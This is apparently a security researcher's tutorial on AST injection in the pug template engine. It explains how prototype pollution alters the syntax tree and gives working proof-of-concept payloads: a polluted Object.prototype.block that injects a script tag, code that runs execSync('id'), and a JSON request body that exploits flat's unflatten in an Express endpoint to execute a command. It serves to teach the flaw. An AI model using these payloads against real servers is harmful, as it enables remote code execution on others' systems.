How AST Injection and Prototype Pollution Ignite Threats

How AST Injection and Prototype Pollution Ignite Threats

Hello everyone. I’m rayepeng, a security researcher.

Today I will tell you how AST injection, combined with prototype pollution, facilitates remote code execution (also known as RCE)

Template engine

Developer used to use template engine like ejspughandlebars , which render HTML code dynamic, and aim for make page that can be use repeated

Here are some template engine works:

ejs

// npm install ejs

const ejs = require('ejs');

// define our template
const template = `
  <h1>Hello, <%= name %>!</h1>
`;

// render it
const data = { name: 'John' };
const html = ejs.render(template, data);

console.log(html);

handlebars

// npm install handlebars

const handlebars = require('handlebars');

// define template
const template = `
  <h1>Hello, {{name}}!</h1>
`;

// more progress, compile template
const compiledTemplate = handlebars.compile(template);

// render template
const data = { name: 'John' };
const html = compiledTemplate(data);

console.log(html);

pug

// npm install pug

const pug = require('pug');

// definte template
const template = `
  h1 Hello, #{name}!
`;

// compilte template
const compiledTemplate = pug.compile(template);

// render template
const data = { name: 'John' };
const html = compiledTemplate(data);

console.log(html);

What template engine doing exactly?

Like mostly compiler work, template engine do this:

Lexer -> Parser -> Compiler

However,when engine handling the AST Tree, if there exist a prototype pollution, an attacker can arbitrary modify the AST Tree, thereby affecting the generated code, and ultimately achieving the goal of RCE

pug template AST injection

Here, we will explore how and why AST Injection works in the pug template engine

const pug = require('pug');

Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html); // <h1>It works<script>alert(origin)</script></h1>

When the engine encounters fn({msg: 'It works'}); , it effectively goes into a function like this:

(function anonymous(pug
) {
function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;var pug_debug_filename, pug_debug_line;try {;
    var locals_for_with = (locals || {});
    
    (function (msg) {
      ;pug_debug_line = 1;
pug_html = pug_html + "\u003Ch1\u003E";
;pug_debug_line = 1;
pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp)) + "\u003Cscript\u003Ealert(origin)\u003C\u002Fscript\u003E\u003C\u002Fh1\u003E";
    }.call(this, "msg" in locals_for_with ?
        locals_for_with.msg :
        typeof msg !== 'undefined' ? msg : undefined));
    ;} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;}
return template;
})

Mechanism of the AST Injection

AST Structures

The syntax tree structure generated by Pug parsing h1= msg is as follows:

{
    "type":"Block",
    "nodes":[
        {
            "type":"Tag",
            "name":"h1",
            "selfClosing":false,
            "block":{
                "type":"Block",
                "nodes":[
                    {
                        "type":"Code",
                        "val":"msg",
                        "buffer":true,
                        "mustEscape":true,
                        "isInline":true,
                        "line":1,
                        "column":3
                    }
                ],
                "line":1
            },
            "attrs":[

            ],
            "attributeBlocks":[

            ],
            "isInline":false,
            "line":1,
            "column":1
        }
    ],
    "line":0
}

After the syntax tree is generated, the function walkAst is called to perform the parsing process of the syntax tree, judging each node type in turn, as in the following code:

function walkAST(ast, before, after, options){
	
	parents.unshift(ast);

    switch (ast.type) {
	    case 'NamedBlock':
	    case 'Block':
	      ast.nodes = walkAndMergeNodes(ast.nodes);
	      break;
	    case 'Case':
	    case 'Filter':
	    case 'Mixin':
	    case 'Tag':
	    case 'InterpolatedTag':
	    case 'When':
	    case 'Code':
	    case 'While':
	      if (ast.block) { // here!!!
	        ast.block = walkAST(ast.block, before, after, options);
	      }
	      break;
	    case 'Text':
	      break;
	}
	parents.shift();

}

AST Execution

Taking the recently generated AST as an example, the parsing order is as follows:

  1. Block
  2. Tag
  3. Block
  4. Code
  5. …?

Note that in the fourth step, When engine parsing node.Type as Code type, and then the following code will be execute:

	    case 'Code':
	    case 'While':
	      if (ast.block) { // here !!!
	        ast.block = walkAST(ast.block, before, after, options);
	      }
  1. Determine whether the ast.block attribute exists; ast refers to the current node of the AST (Abstract Syntax Tree).
  2. If it exists , continue to recursively parse the block.

Combined With Prototype Pollution

If there exists a prototype pollution vulnerability somewhere, for example:

Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

Then, ast.block will access ast.__proto__.block , which is, the property of Object.prototype.block .

Here we go, the code output leads to Cross-Site Scripting (aka. XSS ).

const pug = require('pug');

Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html); // <h1>It works<script>alert(origin)</script></h1>

RCE

As we all know, that pug essentially compiles a piece of code, such as h1 =msg , into a piece of JS code.

This is actually achieved through the generation of a AST tree combined with new Function

Therefore, if we can insert a node through AST injection and turn it into code, we can achieve the goal of remote code execution

Thankfully, there is such code in pug:

// /node_modules/pug-code-gen/index.js
  
if (debug && node.debug !== false && node.type !== 'Block') {  
    if (node.line) {  
        var js = ';pug_debug_line = ' + node.line;  
        if (node.filename)  
            js += ';pug_debug_filename = ' + stringify(node.filename);  
        this.buf.push(js + ';');  
    }  
}  

Thus, by using AST Injection combined with Prototype Pollution, we can achieve Remote Code Execution (RCE).

const pug = require('pug');

Object.prototype.block = {"type":"Text","line":`console.log(process.mainModule.require('child_process').execSync('id').toString())`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html);

Attack example

If you don’t get bored, here is one CGI in a web service developed with Express:

router.post('/api/submit', (req, res) => {
    const { song } = unflatten(req.body);

	if (song.name.includes('Not Polluting with the boys') || song.name.includes('ASTa la vista baby') || song.name.includes('The Galactic Rhymes') || song.name.includes('The Goose went wild')) {
		return res.json({
			'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with the name of an existing song.'
		});
	}
});

Prototype Pollution

Take note of this line of code:

const { song } = unflatten(req.body);

unflatten exist prototype pollution which can be used to do something:

var unflatten = require('flat').unflatten;
unflatten({ '__proto__.polluted': true });
console.log(this.polluted); // true

AST Injection

Take note of this line of code:

pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })

Combined with prototype pollution, we can achieve the goal of RCE!!!

{
       "song.name": "The Goose went wild", 
        "__proto__.block":{
            "type":"Text",
			"line":"process.mainModule.require('child_process').exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')" // RCE here!!!
		}
}

Reference

https://blog.p6.is/AST-Injection/